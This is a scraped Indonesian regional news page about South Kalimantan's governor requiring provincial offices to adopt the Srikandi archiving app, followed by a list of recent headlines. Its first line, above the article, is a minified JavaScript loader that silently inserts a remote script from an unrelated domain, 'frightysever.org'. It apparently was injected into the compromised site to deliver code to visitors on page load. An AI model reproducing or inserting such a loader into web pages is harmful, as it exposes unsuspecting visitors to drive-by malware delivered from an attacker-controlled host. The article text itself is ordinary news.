(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Pakai Aplikasi Srikandi, Gubernur Kalsel Sebut Ada Sanksi Jika Tak Diterapkan


KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan dan sejumlah Kepala Satuan Kerja Perangkat Daerah (SKPD) Pemerintah Provinsi (Pemprov) Kalsel melakukan penandatanganan komitmen kearsipan, Senin (18/9/2023) pagi.

Selain penandatangan komitmen kearsipan, kegiatan bertempat di Jelita Hotel Banjarmasin itu juga sekaligus rapat koordinasi dan bimbingan teknis UPPD/UPTD untuk penerapan aplikasi Kearsipan Dinamis Terintegrasi (Srikandi).

Gubernur Kalsel H Sahbirin Noor mengatakan, aplikasi Srikandi merupakan bentuk upaya Pemprov Kalsel dalam pengembangan dan pemanfaatan teknologi informasi di era digital.

Baca juga: Dampak Kabut Asap Masyarakat Kalsel Diminta Pasang Masker

Menurutnya, adanya aplikasi Srikandi akan memudahkan setiap SKPD di lingkup Pemprov Kalsel dalam penyimpanan arsip. Sehingga Sahbirin mendorong seluruh SKPD dapat memanfaatkan aplikasi tersebut dengan baik.

“Pemprov Kalsel melalui Dispersip akan memberikan pengarahan dan apresiasi kepada SKPD yang menerapkan aplikasi Srikandi dengan baik, dan ada sanksi apabila tidak menerapkan aplikasi Srikandi,” ungkap Paman Birin -sebutan akrab Sahbirin Noor-.

Disamping itu, dengan dilaksanakannya rapat koordinasi serta bimbingan teknis penerapan aplikasi Srikandi diharapkan dapat meningkatkan komitmen seluruh SKPD dalam penerapan aplikasi Srikandi di lingkungan kerja masing-masing.

Baca juga: Tiga Bupati di Kalsel Masa Jabatan Berakhir, Ini Nama Pejabat Pengisi Posisi

“Kita berharap suatu saat kearsipan di Kalsel menjadi yang lebih baik lagi,” katanya.

Terpisah, Kepala Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel dra Nurliani Dardie mengungkapkan, penerapan aplikasi Srikandi akan memberikan kemudahan dalam penyimpanan arsip.

Penerapan aplikasi Srikandi juga dapat mempercepat kinerja pada instansi. Salah satunya pimpinan di suatu SKPD dimungkinkan untuk melakukan disposisi surat meski sedang tidak berada di kantor, sebab dapat dilakukan melalui aplikasi Srikandi.

Baca juga: Pembasahan Berulang di Area Ring 1 Karhutla Banjarbaru

“Aplikasi ini mempermudah kita sendiri, kita bisa bekerja cepat dan bisa bekerja dimana saja,” ucap Nurliani.

Disamping manfaatnya yang banyak, penerapan aplikasi Srikandi di lingkup SKPD juga dikatakan sebagai langkah untuk menuju digitalisasi dan meninggalkan metode lama.

“Tidak jaman lagi bongkar-bongkar surat, tinggal ketik saja kata kuncinya diaplikasi,” pungkas Kadispersip Kalsel. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

31 menit ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

35 menit ago

9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 9 klien rehabilitasi narkoba mendapat fasilitas dan pendampingan rujukan ke Balai… Read More

41 menit ago

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

14 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

16 jam ago

Insentif 391 Guru Honorer di HSU Telat Dibayar, Begini Penjelasan Plt Kabag Prokopim

KANALKALIMANTAN.COM, AMUNTAI - Pelaksana Tugas (Plt) Kepala Bagian Protokol dan Komunikasi Pimpinan (Prokopim) Setda Kabupaten… Read More

16 jam ago